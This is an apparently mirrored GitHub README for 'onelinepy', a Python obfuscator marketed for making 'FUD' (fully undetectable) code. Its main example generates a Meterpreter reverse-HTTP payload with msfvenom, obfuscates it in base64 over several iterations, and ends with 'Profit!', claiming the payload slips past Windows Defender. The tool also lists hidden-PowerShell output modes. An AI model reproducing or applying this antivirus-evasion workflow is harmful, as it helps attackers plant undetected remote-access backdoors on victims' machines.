Git Product home page Git Product logo

onelinepy's Introduction

onelinepy

Python Obfuscator for FUD Python Code.

Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|

usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]

optional arguments:
  -h, --help       show this help message and exit
  -m M             Obfuscating Method (i.e, -m /one_line/base64)
  -i I             Iterations For Obfuscation.
  --script SCRIPT  File path of Python file to Obfuscate.
  --code CODE      Python code to Obfuscate.
  --list           List Obfuscating Methods.
  --output OUTPUT  Output File.

Example: Creating FUD Meterpreter Python Payload

  1. Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

  1. Obfuscate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt

  1. Profit! The Obfuscated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 --script payload.py -i 3
onelinepy -m /one_line/hex --code "print('HEX!')"

Obfuscation Method List

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|


  Obfuscators ( * = May cause Syntax Errors )
 -=============-
 0	/one_line/hex
 1	/one_line/base64
 2	/one_line/base32
 3	/one_line/gunzip*
 4	/one_line/rot13*
 5	/cmd/command
 6	/cmd/powershell
 7	/cmd/powershellhidden

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.